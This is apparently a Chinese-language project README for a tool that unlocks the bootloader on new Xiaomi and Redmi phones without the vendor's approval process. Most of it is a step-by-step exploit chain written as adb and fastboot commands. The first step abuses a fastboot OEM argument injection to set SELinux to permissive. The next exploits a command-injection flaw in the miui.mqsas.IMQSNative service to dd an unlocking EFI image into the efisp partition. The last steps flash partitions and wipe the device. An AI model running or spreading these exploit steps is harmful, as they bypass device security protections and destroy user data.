logo
0
0
WeChat Login

小米新品免答题解BL

项目描述

本工具用于小米新品免答题解锁 Bootloader (BL),适用于满足以下条件的设备:

  1. 可关闭 SELinux(利用 cmdline OEM 漏洞)
  2. 含有 miui.mqsas.IMQSNative 服务的手机(小米、红米以及海外版)
  3. 含有 efisp 分区(骁龙 8 Elite Gen 5 处理器)

⚠️ 重要提醒:谷歌已在 2025 年 2 月安全补丁中修复了本工具所依赖的漏洞,后续系统版本可能无法使用,请确认设备未升级至该补丁及以上版本后再操作。

手动使用命令

请在目录中使用 Shift + 右键 选择“在此处打开 PowerShell 窗口”后再执行以下命令。

等待 ADB 设备连接并重启到 Fastboot

# 1. 列出adb设备
.\adb.exe devices

# 2. 重启设备到 Fastboot 模式
.\adb.exe reboot bootloader

在 Fastboot 模式下设置 SELinux 为宽容模式

# 1. 等待设备进入 Fastboot 模式
.\fastboot.exe devices

# 2. 检查设备是否已解锁
.\fastboot.exe getvar unlocked

# 3. 通过 OEM 命令设置启动参数,将 SELinux 设置为宽容模式(permissive)
# 这是绕过 SELinux 限制的关键步骤
.\fastboot.exe oem set-gpu-preemption-value 0 androidboot.selinux=permissive

# 4. 继续启动到 Android 系统
.\fastboot.exe continue
**注意请不要使用 .\fastboot.exe reboot**

利用 MIUI 服务漏洞写入解锁程序

# 1. 等待设备重启回 Android 系统
.\adb.exe devices

# 2. 将解锁程序上传到设备临时目录
.\adb.exe push linuxloader_unlock.efi /data/local/tmp/linuxloader_unlock.efi

# 3. 调用 MIUI 系统服务 miui.mqsas.IMQSNative 执行 dd 命令
# 利用该服务的命令注入漏洞,将解锁程序写入 efisp 分区
# 参数说明:
#   21 - 服务方法 ID
#   i32 1 - 整数参数
#   s16 "dd" - 要执行的命令
#   s16 'if=/data/local/tmp/linuxloader_unlock.efi of=/dev/block/by-name/efisp' - dd 命令参数
#   s16 '/data/mqsas/log.txt' - 日志文件路径
#   i32 60 - 超时时间 60 秒
.\adb.exe shell service call miui.mqsas.IMQSNative 21 i32 1 s16 "dd" i32 1 s16 'if=/data/local/tmp/linuxloader_unlock.efi of=/dev/block/by-name/efisp' s16 '/data/mqsas/log.txt' i32 60

# 4. 重启设备到 Fastboot 模式
.\adb.exe reboot bootloader

验证解锁状态并清理分区

# 1. 等待设备进入 Fastboot 模式
.\fastboot.exe devices

# 2. 获取解锁状态
.\fastboot.exe getvar unlocked

# 3. 清空 efisp 分区(写入空白镜像)
.\fastboot.exe flash efisp efisp_blank.img

# 4. 刷入 misc 分区镜像,触发恢复出厂设置
.\fastboot.exe flash misc misc_wipedata_mi.img

# 5. 重启设备
.\fastboot.exe reboot

注意事项

  1. 设备连接:确保设备已开启 USB 调试并正确连接
  2. Fastboot 模式:某些命令需要在 Fastboot 模式下执行
  3. 文件路径:确保 linuxloader_unlock.efiefisp_blank.imgmisc_wipedata_mi.img 文件在当前目录
  4. 设备兼容性:仅适用于支持的小米/红米设备
  5. 数据备份:解锁会清除所有数据,请提前备份

About

小米新品免答题解BL